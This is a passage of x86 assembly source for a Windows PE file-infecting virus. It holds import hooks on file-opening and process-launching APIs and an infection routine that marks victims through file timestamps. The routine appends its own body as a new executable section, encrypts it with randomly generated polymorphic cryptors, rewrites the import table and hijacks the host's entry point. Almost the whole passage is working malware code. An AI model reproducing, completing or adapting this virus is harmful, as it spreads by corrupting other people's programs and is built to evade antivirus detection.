|
|
Push EAx
|
|
PushA
|
|
Push TinyMemCommitSz/4h
|
|
Call AllocStackMem
|
|
Push DWord Ptr [EBx][7*4+4]
|
|
Push DWord Ptr [EBx][6*4+4]
|
|
Push DWord Ptr [EBx][5*4+4]
|
|
Push DWord Ptr [EBx][4*4+4]
|
|
Mov ECx,[EBx][3*4+4]
|
|
Mov EDx,[EBx][2*4+4]
|
|
Call ConvertStr
|
|
Push ECx
|
|
Push EDx
|
|
Push DWord Ptr [EBx][1*4+4]
|
|
Call _GetTextExtentExPointA
|
|
Mov [EBx][-4h],EAx
|
|
Push TinyMemCommitSz/4h
|
|
Call FreeStackMem
|
|
PopA
|
|
Pop EAx
|
|
Pop EBx
|
|
Ret 7*4
|
|
|
|
;Separator=_Nop
|
|
; ---------------------------------------------------------
|
|
ShellName Db 'SHELL32.dll',0 ; Name of import
|
|
KernelName Db 'KERNEL32.dll',0 ; providers
|
|
DialogName Db 'COMDLG32.dll',0
|
|
|
|
UserName Db 'USER32.dll',0
|
|
GDIName Db 'GDI32.dll',0
|
|
|
|
; ---------------------------------------------------------
|
|
_CreateFileA Dd ? ; Thunk pointers
|
|
_OpenFile Dd ? ; (Kernel)
|
|
_MoveFileA Dd ?
|
|
_MoveFileExA Dd ?
|
|
_CopyFileA Dd ?
|
|
__lopen Dd ?
|
|
_WinExec Dd ?
|
|
_CreateProcessA Dd ?
|
|
_LoadLibraryA Dd ?
|
|
_LoadLibraryExA Dd ?
|
|
_FindFirstFileA Dd ?
|
|
_FindNextFileA Dd ?
|
|
|
|
_ShellExecuteA Dd ? ; (Shell)
|
|
_ShellExecuteEx Dd ?
|
|
_ShellExecuteExA Dd ?
|
|
_FindExecutableA Dd ?
|
|
|
|
_GetOpenFileNameA Dd ? ; (CommDlg)
|
|
_GetSaveFileNameA Dd ?
|
|
|
|
_DrawTextA Dd ? ; (User)
|
|
_DrawTextExA Dd ?
|
|
_TabbedTextOutA Dd ?
|
|
_wsprintfA Dd ?
|
|
_wvsprintfA Dd ?
|
|
_GetTabbedTextExtentA Dd ?
|
|
_MessageBoxA Dd ?
|
|
_WinHelpA Dd ?
|
|
|
|
_TextOutA Dd ? ; (GDI)
|
|
_ExtTextOutA Dd ?
|
|
_GetTextExtentPointA Dd ?
|
|
_GetTextExtentPoint32A Dd ?
|
|
_GetTextExtentExPointA Dd ?
|
|
|
|
; ---------------------------------------------------------
|
|
NCreateFileA Db 'CreateFileA',0 ; Thunk pointer names
|
|
NOpenFile Db 'OpenFile',0
|
|
NMoveFileA Db 'MoveFileA',0
|
|
NMoveFileExA Db 'MoveFileExA',0
|
|
NCopyFileA Db 'CopyFileA',0
|
|
N_lopen Db '_lopen',0
|
|
NWinExec Db 'WinExec',0
|
|
NCreateProcessA Db 'CreateProcessA',0
|
|
NLoadLibraryA Db 'LoadLibraryA',0
|
|
NLoadLibraryExA Db 'LoadLibraryExA',0
|
|
NFindFirstFileA Db 'FindFirstFileA',0
|
|
NFindNextFileA Db 'FindNextFileA',0
|
|
|
|
NShellExecuteA Db 'ShellExecuteA',0
|
|
NShellExecuteEx Db 'ShellExecuteEx',0
|
|
NShellExecuteExA Db 'ShellExecuteExA',0
|
|
NFindExecutableA Db 'FindExecutable',0
|
|
|
|
NGetOpenFileNameA Db 'GetOpenFileNameA',0
|
|
NGetSaveFileNameA Db 'GetSaveFileNameA',0
|
|
|
|
NDrawTextA Db 'DrawTextA',0
|
|
NDrawTextExA Db 'DrawTextExA',0
|
|
NTabbedTextOutA Db 'TabbedTextOutA',0
|
|
NwsprintfA Db 'wsprintfA',0
|
|
NwvsprintfA Db 'wvsprintfA',0
|
|
NGetTabbedTextExtentA Db 'GetTabbedTextExtentA',0
|
|
NMessageBoxA Db 'MessageBoxA',0
|
|
NWinHelpA Db 'WinHelpA',0
|
|
|
|
NTextOutA Db 'TextOutA',0
|
|
NExtTextOutA Db 'ExtTextOutA',0
|
|
NGetTextExtentPointA Db 'GetTextExtentPointA',0
|
|
NGetTextExtentPoint32A Db 'GetTextExtentPoint32A',0
|
|
NGetTextExtentExPointA Db 'GetTextExtentExPointA',0
|
|
|
|
; ---------------------------------------------------------
|
|
;DefCodeLine
|
|
KrnlImp Label DWord
|
|
Dd Offset _CreateFileA
|
|
Dd Offset NCreateFileA
|
|
Dd Offset ICreateFileA
|
|
|
|
Dd Offset _OpenFile
|
|
Dd Offset NOpenFile
|
|
Dd Offset IOpenFile
|
|
|
|
Dd Offset _MoveFileA
|
|
Dd Offset NMoveFileA
|
|
Dd Offset IMoveFIleA
|
|
|
|
Dd Offset _MoveFileExA
|
|
Dd Offset NMoveFileExA
|
|
Dd Offset IMoveFileExA
|
|
|
|
Dd Offset _CopyFileA
|
|
Dd Offset NCopyFileA
|
|
Dd Offset ICopyFileA
|
|
|
|
Dd Offset __lopen
|
|
Dd Offset N_lopen
|
|
Dd Offset I_lopen
|
|
|
|
Dd Offset _WinExec
|
|
Dd Offset NWinExec
|
|
Dd Offset IWinExec
|
|
|
|
Dd Offset _CreateProcessA
|
|
Dd Offset NCreateProcessA
|
|
Dd Offset ICreateProcessA
|
|
|
|
Dd Offset _LoadLibraryA
|
|
Dd Offset NLoadLibraryA
|
|
Dd Offset ILoadLibraryA
|
|
|
|
Dd Offset _LoadLibraryExA
|
|
Dd Offset NLoadLibraryExA
|
|
Dd Offset ILoadLibraryExA
|
|
|
|
Dd Offset _FindFirstFileA
|
|
Dd Offset NFindFirstFileA
|
|
Dd Offset IFindFirstFileA
|
|
|
|
Dd Offset _FindNextFileA
|
|
Dd Offset NFindNextFileA
|
|
Dd Offset IFindNextFileA
|
|
|
|
KrnlImpCnt = ($ - Offset KrnlImp)/(3*4)
|
|
;BreakCodeLine
|
|
|
|
;DefCodeLine
|
|
ShellImp Label DWord
|
|
Dd Offset _ShellExecuteA
|
|
Dd Offset NShellExecuteA
|
|
Dd Offset IShellExecuteA
|
|
|
|
Dd Offset _ShellExecuteEx
|
|
Dd Offset NShellExecuteEx
|
|
Dd Offset IShellExecuteEx
|
|
|
|
Dd Offset _ShellExecuteExA
|
|
Dd Offset NShellExecuteExA
|
|
Dd Offset IShellExecuteExA
|
|
|
|
Dd Offset _FindExecutableA
|
|
Dd Offset NFindExecutableA
|
|
Dd Offset IFindExecutableA
|
|
|
|
ShellImpCnt = ($ - Offset ShellImp)/(3*4)
|
|
;BreakCodeLine
|
|
|
|
;DefCodeLine
|
|
DialogImp Label DWord
|
|
Dd Offset _GetOpenFileNameA
|
|
Dd Offset NGetOpenFileNameA
|
|
Dd Offset IGetOpenFileNameA
|
|
|
|
Dd Offset _GetSaveFileNameA
|
|
Dd Offset NGetSaveFileNameA
|
|
Dd Offset IGetSaveFileNameA
|
|
|
|
DialogImpCnt = ($ - Offset DialogImp)/(3*4)
|
|
;BreakCodeLine
|
|
|
|
;DefCodeLine
|
|
UserImp Label DWord
|
|
Dd Offset _DrawTextA
|
|
Dd Offset NDrawTextA
|
|
Dd Offset IDrawTextA
|
|
|
|
Dd Offset _DrawTextExA
|
|
Dd Offset NDrawTextExA
|
|
Dd Offset IDrawTextExA
|
|
|
|
Dd Offset _TabbedTextOutA
|
|
Dd Offset NTabbedTextOutA
|
|
Dd Offset ITabbedTextOutA
|
|
|
|
Dd Offset _wsprintfA
|
|
Dd Offset NwsprintfA
|
|
Dd Offset IwsprintfA
|
|
|
|
Dd Offset _wvsprintfA
|
|
Dd Offset NwvsprintfA
|
|
Dd Offset IwvsprintfA
|
|
|
|
Dd Offset _GetTabbedTextExtentA
|
|
Dd Offset NGetTabbedTextExtentA
|
|
Dd Offset IGetTabbedTextExtentA
|
|
|
|
Dd Offset _MessageBoxA
|
|
Dd Offset NMessageBoxA
|
|
Dd Offset IMessageBoxA
|
|
|
|
Dd Offset _WinHelpA
|
|
Dd Offset NWinHelpA
|
|
Dd Offset IWinHelpA
|
|
|
|
UserImpCnt = ($ - Offset UserImp)/(3*4)
|
|
;BreakCodeLine
|
|
|
|
;DefCodeLine
|
|
GDIImp Label DWord
|
|
Dd Offset _TextOutA
|
|
Dd Offset NTextoutA
|
|
Dd Offset ITextOutA
|
|
|
|
Dd Offset _ExtTextOutA
|
|
Dd Offset NExtTextOutA
|
|
Dd Offset IExtTextOutA
|
|
|
|
Dd Offset _GetTextExtentPointA
|
|
Dd Offset NGetTextExtentPointA
|
|
Dd Offset IGetTextExtentPointA
|
|
|
|
Dd Offset _GetTextExtentPoint32A
|
|
Dd Offset NGetTextExtentPoint32A
|
|
Dd Offset IGetTextExtentPoint32A
|
|
|
|
Dd Offset _GetTextExtentExPointA
|
|
Dd Offset NGetTextExtentExPointA
|
|
Dd Offset IGetTextExtentExPointA
|
|
|
|
GDIImpCnt = ($ - Offset GDIImp)/(3*4)
|
|
;BreakCodeLine
|
|
|
|
;Separator=_Jmp
|
|
; ---------------------------------------------------------
|
|
; Infector routines
|
|
InfectByName: Push MemCommitSz/4h
|
|
Call AllocStackMem ; Infect file by name in EDx
|
|
Cmp Debug,0h ; (Who in EBx)
|
|
Je Infect_0$
|
|
Or EDx,EDx
|
|
Jne Infect_D$
|
|
Push 30h ; OkOnly+Exclamation
|
|
Push EBx
|
|
Push Offset InfNoNameMsg
|
|
Push 0h
|
|
Call MessageBoxA ; [!!!For DEBUG!!!]
|
|
Push MemCommitSz/4h
|
|
Call FreeStackMem
|
|
Ret
|
|
|
|
Infect_D$: Push EBx
|
|
Push EDx
|
|
Push 21h ; OkCancel+Question
|
|
Push EBx
|
|
Push EDx
|
|
Push 0h
|
|
Call MessageBoxA ; [!!!For DEBUG!!!]
|
|
Pop EDx
|
|
Cmp EAx,1h
|
|
Pop EBx
|
|
Jz Infect_0$
|
|
Push 30h ; OkOnly+Exclamation
|
|
Push EBx ; Infecting disabled
|
|
Push Offset InfCancelMsg ; by Creator
|
|
Push 0h
|
|
Call MessageBoxA
|
|
Push MemCommitSz/4h
|
|
Call FreeStackMem
|
|
Ret
|
|
|
|
Infect_0$: Mov FileNamePtr,EDx ; !!!Ready and Waiting!!!
|
|
Push EDx
|
|
Call GetFileAttributesA ; Get file attributes
|
|
Or EAx,EAx
|
|
Jz Infect_F0$
|
|
Mov FileAttributes,EAx
|
|
Push 80h ; File_Attribute_Normal
|
|
Push DWord Ptr FileNamePtr
|
|
Call SetFileAttributesA
|
|
Push 0h
|
|
Push 10000000h+80h ; FAN, FFRA
|
|
Push 3h ; OE
|
|
Push 0h
|
|
Push 1h ; FSR
|
|
Push 80000000h+40000000h ; GR/GW
|
|
Push DWord Ptr FileNamePtr
|
|
Call CreateFileA ; Try to open
|
|
Cmp EAx,-1
|
|
Je Infect_F1$
|
|
Mov FileHandle,EAx
|
|
Lea EAx,FileLastWrite ; Storing file Date/Time
|
|
Push EAx ; for future restoring
|
|
Lea EAx,FileLastAccess
|
|
Push EAx
|
|
Lea EAx,FileCreation
|
|
Push EAx
|
|
Push DWord Ptr FileHandle
|
|
Call GetFileTime
|
|
|
|
Lea EAx,FT_Struc ; Checking infection flag
|
|
Push EAx
|
|
Lea EAx,FileLastWrite
|
|
Push EAx
|
|
Call FileTimeToSystemTime
|
|
Mov Ax,FT_Year
|
|
Rol Ax,1
|
|
Xor Ax,FT_Month
|
|
Ror Ax,1
|
|
Xor Ax,FT_Day
|
|
Rol Ax,1
|
|
Xor Ax,FT_Hour
|
|
Ror Ax,1
|
|
Xor Ax,FT_Minute
|
|
Rol Ax,1
|
|
And Ax,3Ch
|
|
Cmp Ax,FT_Second ; Already! Good.
|
|
Je Infect_F2$
|
|
Mov NewSeconds,Ax
|
|
|
|
Push 0h
|
|
Lea EAx,ProcessedBytes ; Read the DOS file
|
|
Push EAx ; header
|
|
Push 40h
|
|
Lea EAx,DosHeader
|
|
Push EAx
|
|
Push DWord Ptr FileHandle
|
|
Call ReadFile
|
|
Or EAx,EAx ; Error reading
|
|
Jz Infect_F2$
|
|
Cmp DWord Ptr ProcessedBytes,40h
|
|
Jne Infect_F2$ ; Readed less then 40h bytes
|
|
Cmp Word Ptr DosHeader,'MZ'
|
|
Je Infect_F3$
|
|
Cmp Word Ptr DosHeader,'ZM'
|
|
Jne Infect_F2$
|
|
Infect_F3$: Cmp Word Ptr DosHeader[18h],40h
|
|
Jb Infect_F2$
|
|
Push 0h ; FileBegin
|
|
Push 0h
|
|
Push DWord Ptr DosHeader[3Ch]
|
|
Push DWord Ptr FileHandle ; Seek to PE Header start
|
|
Call SetFilePointer
|
|
Cmp EAx,-1
|
|
Je Infect_F2$
|
|
Push 0h ; Read the PEHeader
|
|
Lea EAx,ProcessedBytes
|
|
Push EAx
|
|
Push PEHeaderSize
|
|
Lea EAx,PEHeader
|
|
Push EAx
|
|
Push DWord Ptr FileHandle
|
|
Call ReadFile
|
|
Or EAx,EAx
|
|
Jz Infect_F2$ ; Error reading
|
|
Cmp DWord Ptr ProcessedBytes,PEHeaderSize
|
|
Jne Infect_F2$ ; Readed too less bytes
|
|
Cmp DWord Ptr PE_Sign,'EP'
|
|
Jne Infect_F2$
|
|
|
|
MovZx EAx,Word Ptr PE_NTHdrSize
|
|
Add EAx,DWord Ptr DosHeader[3Ch]
|
|
Add EAx,18h
|
|
Mov PEFileHeaders,EAx
|
|
Push 0h ; Seek to sections descr.
|
|
Push 0h
|
|
Push EAx
|
|
Push DWord Ptr FileHandle
|
|
Call SetFilePointer
|
|
Cmp EAx,-1 ; Error seeking
|
|
Je Infect_F2$
|
|
MovZx ECx,Word Ptr PE_NumOfSections
|
|
Or ECx,ECx ; No sections
|
|
Jz Infect_F2$
|
|
Mov EAx,SectSize
|
|
Mul ECx
|
|
Add EAx,PEFileHeaders
|
|
Add EAx,SectSize
|
|
Cmp EAx,PE_HeaderSize ; No room for new section!?
|
|
Ja Infect_F2$
|
|
|
|
Mov DWord Ptr ImportLegal,0h
|
|
Xor EDx,EDx
|
|
MovZx ECx,Word Ptr PE_NumOfSections
|
|
Infect_AS$: Inc EDx
|
|
Push ECx
|
|
Push EDx
|
|
Push 0h ; Read the section header
|
|
Lea EAx,ProcessedBytes
|
|
Push EAx
|
|
Push SectSize
|
|
Lea EAx,Section
|
|
Push EAx
|
|
Push DWord Ptr FileHandle
|
|
Call ReadFile
|
|
Pop EDx
|
|
Pop ECx
|
|
Or EAx,EAx ; Error reading
|
|
Jz Infect_F2$
|
|
Cmp DWord Ptr ProcessedBytes,SectSize
|
|
Jne Infect_F2$ ; Readed too less bytes
|
|
Cmp DWord Ptr ImportLegal,0h
|
|
Jne Infect_NS$ ; Import already detected!
|
|
Mov EAx,SectRVA
|
|
Cmp EAx,PE_ImportTableRVA
|
|
Ja Infect_NS$
|
|
Mov ImportRVA,EAx
|
|
Add EAx,SectVirtSize
|
|
Cmp EAx,PE_ImportTableRVA
|
|
Jbe Infect_NS$
|
|
Mov EAx,SectPhysOffs
|
|
Mov ImportPhysOffs,EAx
|
|
Mov EAx,SectFlags
|
|
Mov ImportFlags,EAx
|
|
Mov ImportOrder,EDx
|
|
Mov DWord Ptr ImportLegal,-1
|
|
Infect_NS$: Dec ECx
|
|
Jnz Infect_AS$
|
|
Cmp DWord Ptr ImportLegal,0h
|
|
Jz Infect_F2$ ; Import not found ?!
|
|
|
|
Mov EAx,DWord Ptr SelfSectionName
|
|
Mov SelfSectName,EAx ; SetUp self section name
|
|
Mov EAx,DWord Ptr SelfSectionName+4
|
|
Mov SelfSectName+4,EAx
|
|
Mov EAx,SectRVA
|
|
Add EAx,SectVirtSize
|
|
Mov EBx,PE_ObjectAlign
|
|
Call AlignDWordOnDWord
|
|
Mov SelfSectRVA,EAx ; SetUp self sect. RVA & Flags
|
|
Mov DWord Ptr SelfSectFlags,0E0000040h ; R/W/E, IData
|
|
|
|
Push 2h ; Seek to EOF
|
|
Push 0h
|
|
Push 0h
|
|
Push DWord Ptr FileHandle
|
|
Call SetFilePointer
|
|
Cmp EAx,-1
|
|
Je Infect_F2$
|
|
Push EAx ; SetUp self section
|
|
Mov EBx,PE_FileAlign ; Physical Offset
|
|
Call AlignDWordOnDWord
|
|
Mov SelfSectPhysOffs,EAx
|
|
Pop EBx
|
|
Sub EAx,EBx
|
|
Jz Infect_NoPreA$
|
|
Push EAx ; Need file alignment
|
|
Mov ECx,EAx
|
|
Lea EDi,VeryLargeBuffer
|
|
Cld
|
|
Xor Al,Al
|
|
Rep StosB
|
|
Pop ECx
|
|
Push ECx
|
|
Push 0h
|
|
Lea EAx,ProcessedBytes ; Write some null's into
|
|
Push EAx ; fucking file
|
|
Push ECx
|
|
Lea EAx,VeryLargeBuffer
|
|
Push EAx
|
|
Push DWord Ptr FileHandle
|
|
Call WriteFile
|
|
Or EAx,EAx
|
|
Pop ECx
|
|
Jz Infect_F2$
|
|
Cmp ECx,ProcessedBytes
|
|
Jne Infect_F2$
|
|
|
|
Infect_NoPreA$: Xor EBx,EBx
|
|
Lea EDi,VeryLargeBuffer ; Transfer self to memory
|
|
Mov ESi,Offset Start
|
|
Infect_Trans$: Mov Al,[ESi][EBx]
|
|
Mov [EDi][EBx],Al
|
|
Inc EBx
|
|
Cmp EBx,StubImportPlace
|
|
Jb Infect_Trans$
|
|
|
|
Mov EAx,9h ; Generate the set of
|
|
Call Random ; polymorphic cryptors
|
|
Add EAx,8h ; in range (8..16)
|
|
Mov CryptCnt,EAx
|
|
Lea EAx,VeryLargeBuffer
|
|
Add EAx,StubImportPlace
|
|
Mov EDi,EAx
|
|
Mov EAx,FixUpsCounter ; Depend on PELINK
|
|
Shl EAx,2h ; tool linking strategy!
|
|
Add EAx,FixUpsPlace
|
|
Mov GenCrSz,EAx
|
|
Xor EAx,EAx
|
|
Mov GenSz,EAx
|
|
Mov GenTotalSz,EAx
|
|
Infect_Gen$: Add EDi,1000h ; Maximal encryptor size!
|
|
Infect_Gen_A$: Lea ESi,[EDi-1000h]
|
|
Mov ECx,GenCrSz
|
|
Push EDi
|
|
Push EAx ; Make the cryptor pairs
|
|
Call GenPolyMorph
|
|
Pop EAx
|
|
Pop EDi
|
|
Cmp EBx,1000h
|
|
Ja Infect_Gen_A$
|
|
Mov Cryptors[EAx*8],EBx ; Encryptor size
|
|
Mov Cryptors[EAx*8+4],EDx ; Decryptor size
|
|
Add GenSz,EDx
|
|
Add GenCrSz,EDx
|
|
Add GenTotalSz,EDx
|
|
Add GenTotalSz,EBx
|
|
Xchg ESi,EDi
|
|
Mov ECx,EDx
|
|
Cld ; Pack cryptors
|
|
Rep MovsB
|
|
Inc EAx
|
|
Cmp EAx,CryptCnt
|
|
Jb Infect_Gen$
|
|
|
|
Lea EDi,VeryLargeBuffer
|
|
Mov EBx,Here
|
|
Mov ESi,FixUpsPlace
|
|
Mov ECx,FixUpsCounter ; UnDo FixUps
|
|
Infect_UnDo1$: Mov EAx,[ESi][EBx]
|
|
Sub [EDi][EAx],EBx
|
|
Add ESi,4h
|
|
Dec ECx
|
|
Jnz Infect_UnDo1$
|
|
|
|
Mov EAx,GenSz ; SetUp PolyMorph sizes
|
|
Mov EDx,Offset PolyMorphSz
|
|
Sub EDx,EBx
|
|
Mov [EDi][EDx],EAx
|
|
Mov EAx,PE_EntryPointRVA ; SetUp EntryPoint
|
|
Mov EDx,Offset StubEntryLabel
|
|
Sub EDx,EBx
|
|
Mov [EDi][EDx],EAx
|
|
Mov EAx,SelfSectRVA ; SetUp SelfPlace
|
|
Mov EDx,Offset CurrentPlace
|
|
Sub EDx,EBx
|
|
Mov [EDi][EDx],EAx
|
|
Mov EAx,PE_ImageBase ; SetUp ImagePlace
|
|
Mov EDx,Offset ImagePlace
|
|
Sub EDx,EBx
|
|
Mov [EDi][EDx],EAx
|
|
Mov EAx,1h ; SetUp Initialization Flag
|
|
Mov EDx,Offset InitOk
|
|
Sub EDx,EBx
|
|
Mov [EDi][EDx],EAx
|
|
|
|
Mov ESi,ImportPlace ; ReSetUp Import directory
|
|
Mov ECx,ImportLength
|
|
Infect_UnDo2$: Mov EDx,[ESi][EBx] ; Get LookUp pointer
|
|
Sub EDx,CurrentPlace
|
|
Sub EDx,PolyMorphSz
|
|
Push EDx
|
|
Infect_Un_2$: Mov EAx,[EDx][EBx] ; ReSetUp LookUp table
|
|
Or EAx,EAx
|
|
Jz Infect_Un_1$
|
|
Sub EAx,CurrentPlace
|
|
Sub EAx,PolyMorphSz
|
|
Add EAx,SelfSectRVA
|
|
Add EAx,GenSz
|
|
Mov [EDi][EDx],EAx
|
|
Add EDx,4h
|
|
Jmp Infect_Un_2$
|
|
Infect_Un_1$: Pop EDx
|
|
Add EDx,SelfSectRVA ; ReSetUp LookUp ptr
|
|
Add EDx,GenSz
|
|
Mov [EDi][ESi],EDx
|
|
Mov EDx,[ESi][EBx]+3*4 ; ReSetUp Name ptr
|
|
Sub EDx,CurrentPlace
|
|
Sub EDx,PolyMorphSz
|
|
Add EDx,SelfSectRVA
|
|
Add EDx,GenSz
|
|
Mov [EDi][ESi]+3*4,EDx
|
|
Mov EDx,[ESi][EBx]+4*4 ; ReSetUp ImprtAddress ptr
|
|
Sub EDx,CurrentPlace
|
|
Sub EDx,PolyMorphSz
|
|
Add EDx,SelfSectRVA
|
|
Add EDx,GenSz
|
|
Mov [EDi][ESi]+4*4,EDx
|
|
Add ESi,5*4
|
|
Sub ECx,5*4
|
|
Ja Infect_UnDo2$
|
|
|
|
Lea ESi,VeryLargeBuffer ; Crypt the self body
|
|
Mov ECx,StubImportPlace ; before writing it
|
|
Add ECx,GenTotalSz ; into desired file
|
|
Add ESi,ECx
|
|
Mov EDi,ESi
|
|
Add EDi,GenSz
|
|
Dec EDi
|
|
Dec ESi
|
|
Std ; Place buffer at
|
|
Rep MovsB ; program start
|
|
Mov ESi,StubImportPlace
|
|
Add ESi,EDi
|
|
Xor EAx,EAx
|
|
Infect_Crypt$: Push EAx
|
|
Mov ECx,Cryptors[EAx*8+4]
|
|
Lea EBx,[ESi+1]
|
|
Add ESi,ECx
|
|
Add ESi,Cryptors[EAx*8]
|
|
Push ESi
|
|
Push EDi
|
|
Std
|
|
Rep MovsB
|
|
Xchg EDi,[ESp]
|
|
Inc EDi
|
|
Push EBp
|
|
Push EDi
|
|
Call EBx ; Crypt by one cryptor
|
|
Pop EBp
|
|
Pop EDi
|
|
Pop ESi
|
|
Pop EAx
|
|
Inc EAx
|
|
Cmp EAx,CryptCnt
|
|
Jb Infect_Crypt$
|
|
Cld
|
|
|
|
Mov ECx,StubImportPlace
|
|
Add ECx,GenSz
|
|
Push ECx
|
|
Push 0h ; WRITE self body
|
|
Lea EAx,ProcessedBytes ; File pointer
|
|
Push EAx ; must be at file EOF
|
|
Push ECx
|
|
Lea EAx,VeryLargeBuffer
|
|
Push EAx
|
|
Push DWord Ptr FileHandle
|
|
Call WriteFile
|
|
Or EAx,EAx ; Error writing
|
|
Pop EAx
|
|
Jz Infect_F2$
|
|
Cmp EAx,ProcessedBytes
|
|
Jne Infect_F2$ ; Too less bytes written
|
|
|
|
Mov EAx,PE_ImportTableRVA ; Calculate import place
|
|
Sub EAx,ImportRVA ; in file
|
|
Add EAx,ImportPhysOffs
|
|
Push 0h
|
|
Push 0h
|
|
Push EAx
|
|
Push DWord Ptr FileHandle ; And seek in file at
|
|
Call SetFilePointer ; this position
|
|
Cmp EAx,-1
|
|
Je Infect_F2$ ; Error seeking
|
|
Lea EBx,VeryLargeBuffer
|
|
Infect_Trans1$: Push EBx
|
|
Push 0h
|
|
Lea EAx,ProcessedBytes ; Read the next import record
|
|
Push EAx
|
|
Push 5*4
|
|
Push EBx
|
|
Push DWord Ptr FileHandle
|
|
Call ReadFile
|
|
Pop EBx
|
|
Or EAx,EAx
|
|
Jz Infect_F2$ ; Errors. . .
|
|
Cmp DWord Ptr ProcessedBytes,5*4
|
|
Jne Infect_F2$
|
|
Add EBx,5*4 ; Last import record???
|
|
Cmp DWord Ptr [EBx][3*4][-5*4],0h
|
|
Jne Infect_Trans1$
|
|
Lea EAx,VeryLargeBuffer
|
|
Sub EBx,EAx
|
|
Push EBx
|
|
Push 2h ; Seek to EOF
|
|
Push 0h
|
|
Push 0h
|
|
Push DWord Ptr FileHandle
|
|
Call SetFilePointer
|
|
Pop EBx
|
|
Cmp EAx,-1 ; Errors. . .
|
|
Je Infect_F2$
|
|
Push EBx
|
|
Push 0h ; Write all import records
|
|
Lea EAx,ProcessedBytes ; to target file
|
|
Push EAx
|
|
Push EBx
|
|
Lea EAx,VeryLargeBuffer
|
|
Push EAx
|
|
Push DWord Ptr FileHandle
|
|
Call WriteFile
|
|
Pop EBx
|
|
Or EAx,EAx ; Errors. . .
|
|
Jz Infect_F2$
|
|
Cmp ProcessedBytes,EBx
|
|
Jne Infect_F2$
|
|
Add EBx,ImportLength ; Calculate the new import
|
|
Mov PE_ImportDataSz,EBx ; size and RVA
|
|
Mov EAx,SelfSectRVA
|
|
Add EAx,GenSz
|
|
Add EAx,ImportPlace
|
|
Mov PE_ImportTableRVA,EAx
|
|
|
|
Lea EDi,VeryLargeBuffer ; Generate some random trash
|
|
Mov EAx,100h
|
|
Call Random
|
|
Lea ECx,[EAx+10h]
|
|
Push ECx
|
|
Cld
|
|
Infect_Trash$: Mov EAx,100h
|
|
Call Random
|
|
StosB
|
|
Dec ECx
|
|
Jnz Infect_Trash$
|
|
Mov ECx,[ESp]
|
|
Push 0h ; and write it into
|
|
Lea EAx,ProcessedBytes ; fucking file, at them
|
|
Push EAx ; end
|
|
Push ECx
|
|
Lea EAx,VeryLargeBuffer
|
|
Push EAx
|
|
Push DWord Ptr FileHandle
|
|
Call WriteFile
|
|
Or EAx,EAx ; Error writing!
|
|
Pop EAx
|
|
Jz Infect_F2$
|
|
Cmp EAx,ProcessedBytes ; Too less bytes written
|
|
Jne Infect_F2$
|
|
|
|
Push 2h ; Seek to EOF
|
|
Push 0h
|
|
Push 0h
|
|
Push DWord Ptr FileHandle
|
|
Call SetFilePointer
|
|
Cmp EAx,-1 ; Seeking failure
|
|
Je Infect_F2$
|
|
Sub EAx,SelfSectPhysOffs ; SetUp self section sizes
|
|
Mov SelfSectVirtSize,EAx
|
|
Mov EBx,PE_FileAlign
|
|
Call AlignDWordOnDWord
|
|
Mov SelfSectPhysSize,EAx
|
|
Sub EAx,SelfSectVirtSize
|
|
Jz Infect_ToDone$ ; Need file align?
|
|
Mov ECx,EAx
|
|
Push ECx
|
|
Mov Al,0h ; Prepare aligning buffer
|
|
Cld
|
|
Lea EDi,VeryLargeBuffer
|
|
Rep StosB
|
|
Pop ECx
|
|
Push ECx ; And align the file
|
|
Push 0h
|
|
Lea EAx,ProcessedBytes
|
|
Push EAx
|
|
Push ECx
|
|
Lea EAx,VeryLargeBuffer
|
|
Push EAx
|
|
Push DWord Ptr FileHandle
|
|
Call WriteFile
|
|
Pop ECx
|
|
Or EAx,EAx ; Error writing!
|
|
Jz Infect_F2$
|
|
Cmp DWord Ptr ProcessedBytes,ECx
|
|
Jne Infect_F2$ ; Too less bytes written
|
|
|
|
Infect_ToDone$: Mov EAx,SelfSectVirtSize ; SetUp memory requirement
|
|
Mov EBx,PE_ObjectAlign
|
|
Call AlignDWordOnDWord
|
|
Add PE_ImageSize,EAx
|
|
Add PE_SizeOfIData,EAx
|
|
Mov EAx,SelfSectRVA ; SetUp Self EntryPoint
|
|
Mov PE_EntryPointRVA,EAx
|
|
Mov EAx,PE_StackReserveSz ; SetUp stack size
|
|
Add EAx,MemCommitSz ; (for placing temporary
|
|
Mov PE_StackReserveSz,EAx ; buffer)
|
|
|
|
MovZx EAx,Word Ptr PE_NumOfSections
|
|
Mov ECx,SectSize
|
|
Mul ECx
|
|
Add EAx,PEFileHeaders
|
|
Push 0h ; Prepare to write
|
|
Push 0h ; SelfSection descriptor
|
|
Push EAx
|
|
Push DWord Ptr FileHandle
|
|
Call SetFilePointer
|
|
Cmp EAx,-1 ; Errors. . .
|
|
Je Infect_F2$
|
|
Push 0h ; And write it!
|
|
Lea EAx,ProcessedBytes
|
|
Push EAx
|
|
Push SelfSectSize
|
|
Lea EAx,SelfSection
|
|
Push EAx
|
|
Push DWord Ptr FileHandle
|
|
Call WriteFile
|
|
Or EAx,EAx
|
|
Jz Infect_F2$ ; Errors. . .
|
|
Cmp DWord Ptr ProcessedBytes,SelfSectSize
|
|
Jne Infect_F2$
|
|
|
|
Mov ECx,DWord Ptr ImportOrder
|
|
Mov EAx,SectSize ; Prepare to write import
|
|
Mul ECx ; section flags
|
|
Add EAx,PEFileHeaders ; Warning!!!
|
|
Sub EAx,4h ; Import section Flags
|
|
Push 0h ; is the LAST field in
|
|
Push 0h ; section header structure
|
|
Push EAx ; !!!!!!!!!!!!!!!!!!!!!!!!
|
|
Push DWord Ptr FileHandle
|
|
Call SetFilePointer
|
|
Cmp EAx,-1h ; Seeking failure
|
|
Je Infect_F2$
|
|
|
|
Or DWord Ptr ImportFlags,0C0000000h
|
|
Push 0h ; Enable reading
|
|
Lea EAx,ProcessedBytes ; and writing
|
|
Push EAx ; in Import section
|
|
Push 4h
|
|
Lea EAx,ImportFlags
|
|
Push EAx
|
|
Push DWord Ptr FileHandle
|
|
Call WriteFile
|
|
Or EAx,EAx
|
|
Jz Infect_F2$ ; Errors. . .
|
|
Cmp DWord Ptr ProcessedBytes,4h
|
|
Jne Infect_F2$
|
|
|
|
Inc Word Ptr PE_NumOfSections ; New # of sections
|
|
Push 0h ; Prepare to writing
|
|
Push 0h ; PE header
|
|
Push DWord Ptr DosHeader[3Ch]
|
|
Push DWord Ptr FileHandle
|
|
Call SetFilePointer
|
|
Cmp EAx,-1
|
|
Je Infect_F2$
|
|
Push 0h
|
|
Lea EAx,ProcessedBytes
|
|
Push EAx
|
|
Push PEHeaderSize ; And write it
|
|
Lea EAx,PEHeader
|
|
Push EAx
|
|
Push DWord Ptr FileHandle
|
